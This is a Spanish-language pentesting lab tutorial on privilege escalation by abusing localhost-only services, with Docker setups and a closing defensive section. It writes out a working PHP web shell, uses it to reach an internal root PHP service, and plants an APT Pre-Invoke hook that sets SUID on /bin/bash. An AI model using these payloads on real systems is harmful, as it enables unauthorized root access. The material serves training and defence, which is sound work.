🔒 Abuso de Servicios Internos del Sistema

📋 Concepto Fundamental

¿Qué es el Abuso de Servicios Internos? El abuso de servicios internos consiste en explotar servicios que se ejecutan únicamente en el localhost (127.0.0.1) de un sistema comprometido. Estos servicios suelen estar ocultos del exterior por reglas de firewall, pero pueden ser accesibles internamente y ejecutarse con privilegios elevados.

🎯 Características Clave

  • Invisibles desde el exterior: No aparecen en escaneos externos con nmap
  • Ejecución privilegiada: Muchos corren como root o con permisos especiales
  • Acceso post-compromiso: Requieren acceso previo al sistema
  • Vector de escalación: Pueden usarse para privilege escalation

🛠️ Metodología de Explotación

graph TD
    A[Reconocimiento Inicial] --> B[Acceso al Sistema]
    B --> C[Enumeración Interna]
    C --> D[Descubrimiento de Servicios]
    D --> E[Explotación de Servicios Internos]
    E --> F[Escalación de Privilegios]
    
    style A fill:#e1f5fe
    style E fill:#fff3e0
    style F fill:#f3e5f5

🔍 Caso Práctico #1: Servicio PHP Interno

📋 Escenario

Setup del Laboratorio

  • Servidor Apache en Docker
  • Servicio PHP interno ejecutándose como root
  • Puerto 8000 solo en localhost

🚀 Preparación del Entorno

  1. Montar servidor Apache - Ver: Montar Servidor Apache - Docker

  2. Configurar servicio PHP interno:

# Dentro del contenedor (ejecutado por root)
php -S 127.0.0.1:8000
  1. Crear archivo de ejecución remota:
<?php system($_GET['cmd']); ?>

Ubicación: Crear este archivo tanto en Apache como en el servicio PHP interno

🔎 Fase de Reconocimiento

Escaneo Externo (Fallará)

nmap -p8000 --open -T5 -v -n <ip_victima>

Resultado Esperado El puerto 8000 NO aparecerá porque solo escucha en localhost

Enumeración Interna

Una vez obtenido acceso al sistema:

# Enumerar puertos internos con netstat
netstat -nat

Ejecución vía web shell:

http://<ip_victima>/cmd.php?cmd=netstat -nat

⚡ Explotación

Comando de Explotación

http://<ip_victima>/cmd.php?cmd=curl http://localhost:8000/cmd.php?cmd=whoami

🎯 Resultado Esperado

root

¡Éxito! El servicio PHP interno responde como root, confirmando la escalación de privilegios.


🔍 Caso Práctico #2: Abuso de APT con Systemd

📋 Escenario

Setup del Laboratorio

  • Container Ubuntu con systemd
  • Directorio /etc/apt/apt.conf.d/ escribible por otros usuarios
  • Timer de systemd ejecutando actualizaciones automáticas

🚀 Preparación del Entorno

  1. Crear container Ubuntu:
docker run --rm -dit -p80:80 --name ubuntuServer ubuntu
  1. Acceder al container:
docker exec -it ubuntuServer bash
  1. Configurar permisos vulnerables:
chmod o+w /etc/apt/apt.conf.d/
  1. Montar servicio systemd - Ver: Montar Servicio systemd

🔎 Fase de Reconocimiento

Listar Timers Activos

systemctl list-timers

Buscar: servicio.timer

Localizar Timer

find / -name servicio.timer 2>/dev/null

⚡ Explotación: APT Pre/Post Invoke

Concepto Clave APT permite ejecutar comandos antes y después de las actualizaciones mediante Pre-Invoke y Post-Invoke hooks.

Crear Payload Malicioso

# Crear archivo: /etc/apt/apt.conf.d/99servicio
APT::Update::Pre-Invoke { "chmod u+s /bin/bash"; };

¿Qué hace este payload? Asigna el bit SUID a /bin/bash cuando se ejecuta una actualización de APT.

⏰ Temporización del Ataque

gantt
    title Timeline del Ataque
    dateFormat X
    axisFormat %s
    
    section Preparación
    Crear payload malicioso    :done, prep, 0, 5s
    
    section Espera
    Timer automático (30s)     :active, wait, 5s, 35s
    
    section Verificación
    Comprobar SUID en bash     :verify, 35s, 40s

Verificación del Éxito

# Esperar 30 segundos y verificar
ls -la /bin/bash

Resultado Exitoso

-rwsr-xr-x 1 root root 1113504 Jun 15 2022 /bin/bash

El bit s indica que bash ahora tiene SUID.


📊 Tabla Comparativa de Casos

AspectoCaso #1 (PHP)Caso #2 (APT/Systemd)
VectorServicio web internoTimer de sistema
Privilegiosroot directoSUID en bash
Detecciónnetstatsystemctl list-timers
TiempoInmediato~30 segundos
PersistenciaNoSí (hasta reboot)

🛡️ Contramedidas y Detección

Medidas Preventivas

Para Administradores

  • Principio de menor privilegio: No ejecutar servicios como root innecesariamente
  • Firewall interno: Filtrar conexiones localhost cuando sea posible
  • Auditoría regular: Monitorear servicios internos activos
  • Permisos estrictos: Proteger directorios críticos como /etc/apt/apt.conf.d/

Para Blue Team

  • Monitoreo de netstat: Alertas por servicios no autorizados en localhost
  • File integrity monitoring: Cambios en archivos de configuración de APT
  • Process monitoring: Servicios ejecutándose con privilegios no justificados

🔗 Referencias y Enlaces


Recordatorio Esta técnica es especialmente efectiva en entornos dockerizados y sistemas con servicios automatizados mal configurados.